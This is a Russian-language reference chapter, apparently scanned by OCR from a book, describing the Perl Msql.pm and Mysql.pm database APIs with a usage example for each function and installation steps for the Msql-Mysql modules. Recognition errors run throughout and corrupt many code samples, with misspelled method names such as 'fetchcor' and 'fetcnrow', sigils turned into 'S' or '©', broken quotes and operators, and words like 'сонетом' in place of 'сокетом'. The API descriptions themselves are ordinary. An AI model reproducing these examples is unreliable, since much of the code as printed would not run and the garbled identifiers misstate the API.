    Устанавливает соединение между вашей программой на Perl и сервером Msql. У этой функции три версии. При отсутствии аргументов соединение устанавливается с сонетом Unix Msql на локальном узле без указания базы данных. Это наиболее эффективное соединение. Если задан один скалярный аргумент, он рассматривается как имя узла или IP-адрес сервера mSQL. Производится соединение с этим сервером без указания базы данных. Если присутствуют два скалярных аргумента, то первый рассматривается как имя узла сервера mSQL, а второй - как имя требуемой базы данных. Программа устанавливает соединение с указанным сервером и выбирает указанную базу данных. Возвращаемое значение является ссылкой на объект, называемый описателем базы данных (database handle). Вся связь с самим сервером базы данных происходит через этот объект. В случае невозможности установить соединение, все версии функции возвращают undef, и в $Msql: :db_errstr помещается сообщение об ошибке.

    Пример

    use Msql;

    # Соединение с сокетом Unix локального узла ' my $db = Msql->connect;

    # Или...

    # Соединение с узлом 'www.myserver.com' без указания, базы данных
    mу $db = Msql->connect('www.myserver.com');

    # Или...

    # Соединение с сервером 'www.myserver.com' и выбор базы данных 'mydata'
    mу $db = Msql->connect('www.myserver.com','mydata');

    Msql::createdb

    $result = $db->createdb($database);

    Msql: : createdb создает базу данных, имя которой принимает в качестве аргумента. Запрос на создание посылается серверу mSQL. Команда посылается от имени пользователя, запустившего CGT-программу. Поэтому для успешного использования в программе CGI последняя должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.

    Пример

    use Msql;


    my $db = Msql->connect;

    my $my_new_database = 'mynewdata';

    my $result = $db->createdb($my_new_database);

    die "База данных не создана!"

    if $result == -1;

    print "$my_new_database создана.\n";

    Msql::database

    $database = $db->database;

    Msql: database возвращает имя текущей базы данных как скаляр. Функция возвращает undef, если нет выбранной базы данных.

    Пример

    use Msql;

    my $db = Msql->connect('www.myserver.com','mydata');

    my $database = $db->database;

    print "Здесь должно быть выведено 'mydata': $database\n";

    Msql::dropdb

    $result = $db->dropdb($database);

    Msql: :dropdb принимает в качестве аргумента имя базы данных, которую нужно удалить. Затем она посылает запрос на удаление серверу mSQL. Команда посылается от имени пользователя, запустившего CGI-программу. Поэтому для успешного использования в программе CGI она должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха. Она не просит подтверждения, и ее результат становится постоянным, поэтому ее следует использовать с крайней осторожностью.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $result = $db->dropdb('mydata');

    die "Команда не выполнена!"

    if result == -1;

    print "'mydata' потеряна навсегда.\n";

    Msql::errmsg

    $error = $db->errmsg:

    Msql::errmsg возвращает последнюю по времени ошибку сеанса работы с сервером mSQL. Значение сохраняется, пока не произойдет следующая ошибка, и тогда заменяется новым. Если во время сеанса не произошло ошибки, функция возвращает undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    my Serror = $db->errmsg;

    warn("Вот последняя по времени ошибка mSQL: $error");

    Msql::getsequenceinfo

    ($step, $value) = $db->getsequenceinfo($table);

    Msql: :getsequenceinfo принимает в качестве аргумента имя таблицы. Функция возвращает шаг и значение последовательности, если она определена в таблице. Если в указанной таблице не определена последовательность, то возвращается неопределенное значение undef, и в Msql: :errmsg помещается ошибка.


    Пример

    use Msql;

    my $db = Msql->connect;

    my ($step, $value) = $db->getsequenceinfo('mytable');

    die " B mytable не задана последовательность" if not $step;

    print "B mytable есть последовательность со значением $value и шагом

    $step\n";

    Msql::host

    Shost = $db->host;

    Msql: :host возвращает имя узла сервера базы данных как скаляр. Не гарантируется возврат канонического или хотя бы полностью квалифицированного доменного имени. В действительности, хотя это и не документировано, Msql:: host возвращает ту самую строку, которая передавалась серверу при вызове Msql::connect . Это согласуется и с тем, что Msql:: host возвращает undef, если использовалась форма Msql: : connect без аргументов.

    Пример

    use Msql;

    my $ijh - Msql->connect( 'www.myserver.com');

    my $host = $db->host;

    print "Вероятно, вы видите 'www.myserver.com': $host\n";

    Msql::listdbs

    @databases = $db->listdbs;

    Msql: :listdbs возвращает список имеющихся на сервере баз данных. Если баз данных нет, она возвращает пустой массив.

    Пример

    use Msql;

    my $db = Msql->connect;

    my @databases = $db->listdbs;

    print "Имеющиеся базы данных:\n\n" . join("\n",@databases);

    Msql::listfields

    $fields = $db->listfields($table);

    Msql:: listf ields принимает в качестве аргумента имя таблицы в текущей базе данных. Она возвращает ссылку на объект, который содержит имена всех полей и некоторые другие сведения. Эта ссылка известна как описатель команды (statement handle). Содержащиеся в нем данные можно извлечь с помощью функций Msql::Statement: :as_string, Msql::Statement: :listindices (только mSQL2.0), Msql: Statement: :numfields , Msql::Statement::table , Msql::Statement::name , Msql::Statement::type , Msql::Statement::isnotnull , Msql::Statement::isprikey , Hsql::Statement::isnum и Msql::Statement: .'length . Если таблицы не существует, функция возвращает неопределенное значение undef, и в Msql: :errmsg помещается ошибка. В описании Msql: :Statement: :fetchhash можно видеть прием, который делает данную функцию несколько устаревшей.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $fields = $db->listfields('mytable');

    warn ("Проблемы с 'mytable-': " . $db->errmsg)

    if (not $fields);

    # $ fields явяется ссылкой на все поля в таблице 'mytable'.

    print "mytable содержит следующие поля:\n";

    print $fields->as_string;

    Msql::listindex

    @index_handles = $db->listindex($table,$index);

    Msql: : listindex принимает в качестве аргументов имена таблицы и индекса и возвращает массив описателей команд, содержащих данные о каждом из индексов. Хотя, согласно документации, эта функция возвращает массив описателей команд, всегда возвращается не более одного описателя. Поэтому, вероятно, можно рассматривать эту функцию как возвращающую скалярный описатель команды. Это описатель в том же стиле, что и возвращаемый Msql::query , и может обрабатываться теми же функциями. Если индекс не существует, возвращается неопределенное значение undef. В возвращаемой таблице данных об индексе одна колонка с именем "Index". В первой строке указан тип индекса, который в mSQL2.0 всегда "avl". Остальные строки суть имена полей, составляющих индекс. Эта функция применима только к mSQL версий 2.0 и выше.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $mytable_fields = $db->listfields('mytable');

    my @indices = $mytable_fields->listindices;

    # Я знаю имена всех индексов.

    foreach (@indices) {

    my $index_info_handle = $db->listindex('mytable',$_);

    my (@index_info) = $index_info_handle->fetchcol(0);

    my $type_of_index = shift(@index_info);

    # $type_of_index содержит теперь тип индекса (вероятно, 'avl'),

    # a @index_info содержит теперь список полей в индексе.

    Msql::listtables

    @tables = $db->listtables;

    Msql: :listtables возвращает массив таблиц, имеющихся в базе данных. Если в базе данных нет таблиц, функция вернет пустой массив.

    Пример

    use Msql;

    my $db = Msql->connect;


    my @tables = $db->listtables;

    my $database = $db->database;

    print "B $database есть следующие таблицы:\n\n" join("\n",@tables);

    Msql::query

    $query_output = $db->query($sql_statement);

    Msql::query является самой важной и наиболее часто используемой функцией в Msql.pm API. В действительности вы посылаете SQL-запросы серверу базы данных через эту функцию. Функция принимает в качестве аргумента скалярную строку, содержащую SQL-запрос. Если запрос является выражением SELECT, то она возвращает описатель команды, содержащий результаты выполнения запроса. В противном случае функция вернет число строк, измененных запросом. С описателем команды работают те же самые функции, которые были перечислены для Msql:: listf ields (за исключением Msql:: Statement:: listindices ), a также следующие: Msql::Statement: :fetchrow , Msql::Statement::fetched , Msql::Statement::fetchhash , Msql: Statement::numrows , Msql::Statement::maxlength и Msql: Statement: :dataseek . Если по какой-либо причине запрос был неудачным, возвращается значение undef и в Msql: :errmsg помещается ошибка. Каждый описатель команды содержит выходные данные отдельного запроса, поэтому можно послать системе много запросов и работать с каждым описателем команды, когда заблагорассудится.

    Пример

    use Msql;

    my $db = Msql->connect; $db->selectdb('mydata');

    my $query1 = "SELECT * FROM mytable";

    my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

    my $query3 = "UPDATE myothertable SET name='Bob' WHERE name='Joe'";

    my $mytable_output = $db->query($query1);

    my $myothertable_output = $db->query($query2);

    my $myothertable_input = $db->query($query3);

    # $mytable_output содержит результаты запроса к 'mytable'

    # $myothertable_output содержит результаты запроса к 'myothertable'

    print "Обновление 'myothertable' повлияло на имена в $myothertable_input

    \n";

    $Msql::QUIET

    Если переменная $Msql: : QUIET установлена в true, то параметр -w в Perl отключает вывод ошибок. В противном случае все ошибки MsqlPerl будут автоматически посылаться на STDERR. Переменную можно в любой момент сбросить. Функция вывода сообщений об ошибках по -w настолько полезна, что не рекомендуется устанавливать $Msql: : QUIET .


    Пример

    use Msql;

    # Отключить сообщения об ошибках. Действует, только если сценарий

    # запущен с '-w'.

    $Msql::QUIET = 1;

    # Выполняем многословную часть...

    # Снова включаем сообщения об ошибках. $Msql::QUIET = undef;

    Msql::quote

    $quoted_string = $db->quote($string);

    $truncated_quoted_string = $db->quote($string,$length);

    Msql: :quote принимает в качестве аргумента скалярную строку. Она возвращает ту же строку, но с правильной расстановкой кавычек, пригодную для вставки в поле базы данных типа CHAR или TEXT. Более точно, строка заключается в одиночные кавычки, а одиночные кавычки внутри строки предваряются управляющим символом "обратная косая черта". Если задан второй аргумент, результирующая строка укорачивается до заданной длины.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $string = "Это ' (одинарная кавычка)";

    my $qstring = $db->quote($string);

    print qq%Tenepb значение строки "'Это\\' (одинарная кавычка)'" : $qstring\n%;

    Msql::selectdb

    $db->selectdb($database);

    Msql: :selectdb выбирает базу данных на сервере. В случае неуспеха в Msql: :errmsg помещается ошибка. Единственный действенный способ проверить успешность выполнения функции - посмотреть значение $db->database и сравнить его с той базой данных, с которой вы хотели соединиться. В любой момент выполнения программы можно переключиться между базами данных.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    # Выбранной базой данных является 'mydata'

    if ($db->database ne 'mydata') {

    wаrn('Базу данных выбрать не удалось!'); }

    $db->selectdb('myotherdata');

    # Теперь выбрана база данных 'myotherdata'

    Msql::shutdown

    $result = $db->shutdown;

    Msql: : shutdown посылает на сервер mSQL команду остановки. Команда посылается от имени пользователя, запустившего программу, поэтому для использования в CGI-программе последняя должна запускаться пользователем, имеющим право остановки сервера баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.


    Пример

    use Msql;

    my $db = Msql->connect;

    # Пора закрывать базу данных...

    my $result = $db->shutdown;

    die "Команда не выполнена!" if $result — -1;

    print "Сервер остановлен.\n";

    Msql::Statement::as_string

    $formatted_table = $statement_handle->as_string;

    Msq1: :Statement: :as_string возвращает данные, содержащиеся в описателе команды, в виде аккуратно отформатированной таблицы ASCII. Таблица аналогична тем, которые выводит монитор msql. Программа pmsql, поставляемая с модулем Msql.pm, использует эту функцию для создания своих таблиц.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->query($query);

    print "Моя таблица:\n", $mytable_output->as_string;

    # Выводится вся таблица в гораздо более приемлемом виде,

    # чем в примере Msql:[Statement:ifetchhash.

    Msql::Statement::dataseek

    $statement_handle->dataseek($row_number);

    Msql: :Statement: :dataseek принимает в качестве аргумента номер строки. Функция переустанавливает данные, так что следующий вызов Msql: :Statement: :fetchrow или Msql: Statement: :fetchhash возвращает данные указанной строки. Если указанный номер строки выходит за границы таблицы, указатель устанавливается на конец таблицы и при следующем вызове будет возвращено неопределенное значение undef. Первая строка таблицы имеет номер 0.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Squery = "SELECT name, date FROM myothertable";

    my $myothertable_output = $db->query($query);

    my @names = $myothertable_output->fetchcol(0);

    my @dates = $myothertable_output->fetchcol(1);

    # Теперь указатель установлен в конце таблицы.

    $myothertable_output->dataseek(0);

    # Теперь указатель установлен на начало таблицы,

    print "Это первая строка данных: ", $myothertable_output->fetchrow, "\n".

    Msql::Statement::fetchcol


    @column_of_data = $statement_handle->fetchcol($column_number);

    Msql: :Statement: :fetched принимает в качестве аргумента номер колонки и возвращает массив всех значений, находящихся в этой колонке. Каждый вызов возвращает значения в колонке в одинаковом порядке, поэтому значения с одинаковым номером элемента находятся в одной строке данных. Первая выдаваемая колонка имеет номер 0. Для выполнения этого вызова модуль должен считать всю таблицу, поэтому, если вы хотите продолжить просмотр таблицы после вызова этой функции, переустановите данные с помощью Msql::Statement: :dataseek . Если задан недопустимый номер колонки, возвращается неопределенное значение undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

    my $myothertable_output = $db->query($query);

    my @names = $myothertable_output->fetchcor(0);

    # @names содержит теперь все имена.

    my @dates = $myothertable_output->fetchcol(1);

    # ©dates содержит теперь все даты.

    for (0..$#names) {

    print "Row $_: $names[$_], $dates[$_]\n"; }

    Msql::Statement::fetchhash

    %hash ='$statement_handle->fetchhash;

    Msql::Statement: :fetchhash возвращает текущую строку описателя команды как ассоциативный массив (или хэш). Ключами хэша служат имена полей, а значениями - значения данных текущей строки. Каждое последующее обращение к функции возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->query($query);

    my %first_data_row = $mytable_output->fetchhash;

    my @fields = keys %first_data_row;

    # @fields содержит теперь имена всех полей. В результате, фактически нет

    # нужды использовать Msql::listfields, поскольку ее данные и многие

    If другие можно получить через описатель команды, возвращаемый


    # Msql::query.

    my (%data_row);

    print ]oin("", ©fields), "\n';

    print "-"x70;

    print join("", values(%first_data_row);

    print join("", values(%data_row)) while %data_row = $mytable_output-

    >fetchhash;

    # Таким образом распечатывается вся таблица, хотя и в невыравненном

    # формате.

    Msql::Statement::fetchrow

    @row_of_data = $statement_handle->fetch row;

    Msql:: Statement: : fetch row возвращает очередную строку данных из описателя команды, созданного Msql:.-query. Каждое последующее обращение к Msql: Statement: :fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Элементы в результирующем массиве упорядочены в соответствии с исходным запросом. Если запрос имел вид SELECT*FROM ... , то элементы упорядочиваются в соответствии с последовательностью определения полей в таблице.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query1 = "SELECT * FROM mytable";

    my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE

    'Bob%'";

    my $mytable_output = $db->query($query1);

    my $myothertable_output = $db->query($query2);

    my $i = 0;

    # Чтение строк данных будет продолжаться,

    # пока их больше не останется.

    while (my(@mytable_rows)=$mytable_output->fetcnrow) {

    print "Строка ",$i++,": ".join(', ',@mytable_rows)."\n";

    # Если неизвестна структура таблицы 'mytable',

    # нельзя узнать число элементов в @mytable_rows или их порядок.

    }

    my (Sname, $date);

    # Это первая строка данных в $myotrertable_output.

    ($name, $datc) = $myothertaPle_output->fetchrow;

    # Это следующая строка...

    ($name, $date) = $myothertable_output->fetchrow;

    # И еще одна...

    my @name_and_date = $myothertable_output->fetchrbw;

    # и т.д....

    Msql::Statement::isnotnull

    @not_null = $statement_handle->isnotnull;

    Msql:: Statement: :isnotnull возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, была ли она определена как 'NOT NULL'. При вызове в скалярном контексте функция возвращает ссылку на массив.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query("select * from mydata");

    my @names = $output->name;

    my @not_null = $output->isnotnull;

    for (0..$#not_null) {

    print "$names[$_]не может быть null\n"

    if $not_null[$_]; }

    Msql::Statement::isnum

    @numbers = $statement_handle->isnum;

    Msql: : Statement: : isnum возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она числовой. При вызове в скалярном контексте функция возвращает ссылку на массив. "Числовая" означает тип, например, 'INT' или 'REAL', но не число в поле типа 'CHAR' или 'TEXT'.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $dD->query("select name, date from myothertable");

    print "Name является числом"

    if $output->isnum->[0];

    print "Date является числом"

    if $output->isnum->[1];

    Msql::Statement::isprikey

    @primary_key = $statement_handle->isprikey;

    Msq1::Statement: :isprikey возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она первичным ключом. При вызове в скалярном контексте функция возвращает ссылку на массив. Эта функция всегда возвращает список, состоящий из нулей, при соединении с сервером mSQL 2, поскольку в mSQL 2 не используются первичные ключи. Однако она может быть полезна с серверами mSQL 1, поскольку в них реализованы первичные ключи.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output-= $db->query("select * from mytable");

    my @prikeys = $output->isprikey;

    my $number_of_prikeys = scalar @prikeys;

    print "В этом описателе команды $number_of_prikeys первичных ключей. ",

    "В запросе участвует не меньшее число различных таблиц, поскольку ".

    "в каждой таблице может быть только один первичный ключ\n";


    Msql::Statement::length

    @lengths = $statement_handle->length;

    Msql::Statement:: length возвращает список максимально возможных длин для колонок, содержащихся в описателе команды. Это значения, определенные как максимальные при создании таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select- * from mytable");

    my @types = $output->type;

    my @lengths = $output->length;

    for (0..$#types) {

    if ($types[$_] == &Msql: :CHAR_TYPE and $lengths[$_] > 1000000) {

    print "В этой таблице у вас есть одно о-очень большое поле CHAR!\";

    } }

    Msql::Statement::listindices

    Pindices = $statement_handle->listindices;

    Msql: : Statement: :listindices возвращает индексы, связанные с какими-либо полями в описателе команды. Поскольку функция непосредственно ищет имена полей, она полезна только для имен, возвращаемых Msql: : listf ields . Если индексы не обнаружены, возвращается неопределенное значение undef. Эту функцию можно использовать только с серверами mSQL 2.0 или последующих версий.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $mytable_fields = $db->listfields('mytable');

    my ©indices = $mytable_fields->listindices;

    print "B 'mytable' есть следующие индексы: " . join(", ",@indices) .

    "\n;

    Msql::Statement::maxlength

    @max_lengths = $statement_handle->maxlength; '

    Msql::Statement: :maxlength возвращает список фактических максимальных размеров всех полей таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив. Поскольку сервер mSQL прямо не сообщает эти данные, она реализована путем чтения всей таблицы и поиска максимального значения для каждого поля. Поэтому в mSQL эта функция может потребовать много ресурсов, если запрос возвращает большой объем данных.

    Пример

    use Msql;

    $db = Msql->connect;


    $db->selectdb('mydata');

    my Soutput = $db->query('select name, date from myothertable');

    print " Самое длинное имя имеет длину " . $ouput->maxlength->[0] . " символов,\n";

    Msql::Statement::name

    @column_names = $statement_handle->name;

    Msql:: Statement:: name возвращает имена колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Как и для Msql::Statement::table , скалярное значение этого списка (в противоположность значению функции при вызове в скалярном контексте) совпадает со значением Msql::Statement::numfields

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select * from mytable");

    my @column_names = $output->names;

    # Теперь @column_names - список колонок 'mytable'

    Msql::Statement::numfields

    $number_of_fields = $statement_handle->numfields;

    Msql:: Statement: : numf ields возвращает число полей в каждой строке результирующих данных, содержащихся в описателе команды. Во всех выходных данных есть хотя бы одно поле, поэтому данная функция возвращает положительное число для всех определенных описателей команд.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select * from mytable");

    my $numfields = $output->numfields;

    my $numrows = $output->numrows;

    print "В каждой строке таблицы 'mytable' $numfields полей \n";

    print "Всего имеется Snumrows строк данных. Поэтому 'mytable'\n";

    print "содержит" . ($numfields*$numrows) . " элементов данных.\n";

    Msql::Statement::numrows

    $number_of_rows = $statement_handle->numrows;

    Msql: : Statement: : numrows возвращает число строк, содержащихся в описателе команды. Для описателя, который не может содержать строк, например, возвращаемого Msql: :listfields , функция возвращает строку 'N/A.' Если описатель может содержать строки, но их нет - например, он возвращен SELECT, для которого не найдено соответствия, -функция возвращает 0.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query("select * from mytable");

    my $numrows = '$output->numrows;

    print "B 'mytable' содержится $numrows строк данных\n";

    Msql::Statement::table

    @tables = $statement_handle->table;

    Msql: :Statement: : table возвращает список таблиц, связанных с колонками данных, содержащимися в описателе команды. (См. выше в Msql: : Statement: : isnum пример использования ссылки на массив.) Даже если запрос использовал только одну таблицу, для каждой колонки есть один элемент. Побочным эффектом является то, что скалярное значение массива, возвращаемого $statement_handle->table , совпадает со значением $statement_handle->numfields .

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query('select myothertable. name, myothertable.date,

    mythirdtable. name from myothertable, mythirdtable where myothertable. name

    = mythirdtable. name');

    my @tables = $output->table;

    # @tables содержит теперь ('myothertable', 'myothertable', 'mythirdtable')

    Msql::Statement::type

    @column_types = $statement_handle->type;

    Msql: : Statement: : type возвращает типы колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Сам по себе этот массив не очень интересен для большинства пользователей (в текущей реализации это массив целых чисел), однако эти значения можно сравнивать со встроенными значениями, определенными в Msql.pm, такими как &Msql: : CHAR_TYPE и &Msql: : INT_TYPE. Один из путей использования этих данных - создание массива с читаемыми названиями, соответствующими предустановленным типам. Этот метод был продемонстрирован в главе 10 "Perl". Другой способ показан ниже.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select name, date from myothertable");


    my ($name_type, $date_type) = $output->type;

    for ($name_type) {

    $_ eq &Msql: :CHAR_TYPE and do {

    print ''name является CHAR';

    last;

    } $_ eq &Msql::INT_TYPE and do {

    print 'name является INT'; last; } # и т.д....

    }

    # повторить для $date_type

    Msql::sock

    $sock = $db->sock;

    Msql:: sock возвращает скаляр, содержащий номер сокета, использованного для подключения к серверу mSQL. Обычно это полезно только при действительно изощренном программировании.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $sock = $db->sock;

    print "Я подключен к сокету $sock.\n";

    Msql::*_TYPE

    Msql.pm предоставляет следующие функции, соответствующие типам данных mSQL:

    &Msql::CHAR_TYPE &Msql::INT_TYPE &Msql::REAL_TYPE &Msql::IDENT_TYPE

    &Msql::TEXT_TYPE &Msql::IDX_TYPE &Msql::NULL_TYPE &Msql::DATE_TYPE

    &Msql::UINT_TYPE &Msql::MONEY_TYPE &Msql::TIME_TYPE &Msql::SYSVAR_TYPE

    Пример

    use Msql;

    %types = (

    'CHAR' => &Msql::GHAR_TYPE, 'INT' => &Msql::INT_TYPE, 'REAL' => &Msql::REAL_TYPE, 'SYSVAR' => &Msql::SYSVAR_TYPE, 'TIME' => &Msql::TIME_TYPE, 'MONEY' => &Msql::MONEY_TYPE, 'UINT' => &Msql::UINT_TYPE, 'TEXT' => &Msql::TEXT_TYPE, 'NULL' => &Msql::NULL_TYPE, 'DATE' => &Msql::DATE_TYPE, 'IDENT' => &Msql::IDENT_TYPE, 'IDX' => &Msql::IDX_TYPE,

    );

    # $types{'CHAR'} является теперь легкодоступным псевдонимом для

    # &Msql::CHAR_TYPE. Наличие значений в %types дает доступ ко всем

    # удобным функциям работы с хешами, такими как keys() и values().

    $Msql::VERSION

    В переменной $Msql:: VERSION содержится номер версии модуля Msql.pm.

    Пример

    use Msql;

    print "Вы используете Msql.pm версии $Msql::VERSION.\n";



    Mysql.pm API

    Mysql.pm API идентичен Msql API (с заменой всюду "Msql" на "Mysql"), за исключением следующих отличий:

    Mysql::connect

    $db = Mysql->connect($host, Sdatabase, $user, $password);

    Помимо трех методов соединения, совпадающих с Msql: :connect , в Mysql:: connect есть четвертый метод, требующий передачи пароля в качестве дополнительного аргумента. Первый аргумент - имя узла или IP-адрес сервера MySQL. Если в качестве этого аргумента передается undef, модуль соединяется с сонетом Unix на локальном узле. Второй аргумент является именем первоначально выбираемой базы данных. Его всегда можно впоследствии изменить с помощью Mysql: :selectdb . Можно передать undef в качестве второго аргумента, чтобы не выбирать исходной базы данных. Третий аргумент является именем пользователя для соединения с базой данных. Для успешного соединения имя пользователя должно присутствовать в таблицах доступа MySQL. Последний аргумент является паролем пользователя.

    Пример

    use Mysql;

    $db = Mysql->connect(undef,'mydata','webuser1, 'super_secret_squirrel');

    # Теперь описатель базы данных соединен с локальным сервером MySQL и
    # использует базу данных 'mydata1.

    # Использовано имя пользователя 'webuser' для

    # соединения с паролем 'super_secret_squirrel'.

    Mysql::errno

    $error_number = $db->errno;

    Mysql: :errno возвращает код последней ошибки. Код соответствует сообщению об ошибке, возвращаемому Msql: : errmsg .

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata','webuser', 'super_secret_squirrel');

    # В этом запросе есть синтаксическая ошибка...
    my $output = $db->query( 'SELECT * from mydata');

    if (not $output) {

    print "Ошибка " . $output->errno . ": " . $output->errfnsg . "\n"; }

    Mysql::FIELD_TYPE_*

    Помимо функций типов данных Mysql: :TYPE_ *, идентичных функциям Msql::TYPE *, Mysql.pm предоставляет следующие дополнительные функции типов данных:

    &Mysql::FIELD_TYPE_BLOB &Mysql::FIELD_TYPE_CHAR &Mysql::FIELD_TYPE_DECIMAL &Mysql::FIELD_TYPE_DATE &Mysql::FIELD_TYPE_DATETIME &Mysql::FIELD_TYPEJ)OUBLE &Mysql::FIELD_TYPE_FLOAT &Mysql: : FIELD_TYPE_INT24 &Mysql::FIELD_TYPE_LONGLONG &Mysql::FIELD_TYPE_LONG_BLOB &Mysql::FIELD_TYPE_LONG &Mysql::FIELD_TYPE_MEDIUM_BLOB &Mysql::FIELD_TYPE_NULL &Mysql::FIELD_TYPE_SHORT &Mysql::FIELD_TYPE_STRING &Mysql::FIELD_TYPE_TIME &Mysql::FIELD_TYPE_TIMESTAMP &Mysql::FIELD_TYPE_TINY_BLOB &Mysql::FIELD_TYPE_VAR_STRING


    Пример

    use Mysql;

    my $db = Mysql->connect(undef, 'mydata');

    my Soutput = $db->query("SELECT name, data from myothertable");

    if ($output->type->[0] = &Mysql::FIELD_TYPE_STRING) {

    print "Name является STRING.\n"; }

    Mysql::Statement::affectedrows

    $number_of_affected_rows = $statement^handle->affectedrows;

    Msql: :Statement: : affectedrows возвращает число строк, обработанных запросом. Эта функция полезна, поскольку Mysql.pm возвращает описатель команды для запросов, не являющихся командами SELECT.

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata');

    my $output = $db->query("UPDATE mytable set name='bob' where

    name='joe'");

    print $output->affectedrows . " строк обновлено.\n";

    Mysql::Statement::info

    $info = $sth->info;

    Mysql: : Statement:: info возвращает дополнительные результаты некоторых запросов, для которых в Mysql.pm нет специальных функций, таких как ALTER TABLE и LOAD DATA INFILE . Например, при использовании LOAD DATA INFILE функция Mysql: : Statement:: info возвращает число вставленных записей, число удаленных, число пропущенных и число элементов, которые невозможно синтаксически разобрать.

    Пример

    use Mysql;

    $db = Mysql->connect(undef,'mydata');

    my $output = $db->query("LOAD DATA INFILE 'mydata.dat' INTO TABLE mytable");

    my $info = $output->info($output);

    print "Результат работы LOAD DATA: $info\n";

    Mysql::Statement::insertid

    $new_id = $statement_handle->insertid;

    Функция Mysql::Statement::insertid возвращает текущее значение поля auto_increment (если такое имеется) в таблице. Если в таблице нет поля auto_increment , она возвращает неопределенное значение undef.

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata');

    my $output = $db->query(

    "INSERT into mytable (id, name, date) VALUES ('','bob', 'today')";

    my $new_id = $output->insertid;

    print "Bob был введен с ID, равным $new_id.\n";

    Установка

    Для использования интерфейсов mSQL и MySQL к модулям DataBase Dependent/DataBase Independent (DBI/DBD) или MsqlPerl и MysqlPerl необходимо иметь следующие компоненты:

    Perl 5

    В вашей системе должны быть установлены работающие экземпляры Perl 5. Ко времени написания этой книги последний релиз Perl имел номер 5.005_02. Следует пользоваться по меньшей мере Perl 5.004, поскольку в более ранних версиях были ошибки, связанные с защитой. Более подробные сведения о Perl, включая адреса для загрузки, можно найти по адресу: http://www.perl.com.

    DBI

    Независимую от базы данных часть модуля DBI/DBD можно загрузить из Comprehensive Perl Archive Network (CPAN). На момент написания книги последней версией был DBI-0.90. Он находится на http://www.perl.com/CPAN/authors/id/TIMB/DBI/DBI-l.06.tar.gz.

    Data::ShowTable

    Модуль Data::ShowTable упрощает отображение больших объемов данных. Это требуется для модулей Msql-Mysql. Последняя версия - Data-ShowTable-З.З, ее можно найти по адресу: http://www.perl.com/CPAN/authors/id/AKSTE/Data-ShowTable-3.3.tar.gz.

    mSQL и /или MySQL

    В главе 3 "Установка" подробно рассказано о том, как получить и установить серверы баз данных mSQL и MySQL.

    Компилятор С и сопутствующие средства

    Для модулей MsqlPerl и MysqlPerl необходим ANSI-совместимый компилятор С, а также обычные сопутствующие средства, такие как make, Id и т. д. Вам должно хватить тех средств, с помощью которых вы собрали Perl. Если у вас нет этих инструментов, компилятор GNU С и все необходимые поддерживающие программы можно бесплатно получить на ftp://ftp.gnu.org/pub/gnu/.

    В настоящее время модули Msql-Mysql поддерживает Йохен Видман (Jochen Wiedmann), чье ID в CPAN выглядит как JWIED. Поэтому текущие модули Msql-Mysql всегда можно найти на http://www.perl.com/ authors/id/ JWIED. На момент написания книги текущей версией была Msql-Mysql-modules-1.2017.tar.gz.

    После загрузки пакета разархивируйте его:

    tar xvzf Msql-Mysql-modules-1.2017.tar.gz
    cd Msql-Mysql-modules-1.2017


    В каталоге дистрибутива есть файл INSTALL, содержащий несколько советов по установке. Сначала нужно выполнить файл Makefile.PL:

    perl Makefile.PL

    Эта команда сначала спрашивает, желаете ли вы установить модули для mSQL, MySQL или те и другие. Можно установить модули для любого установленного вами сервера баз данных.

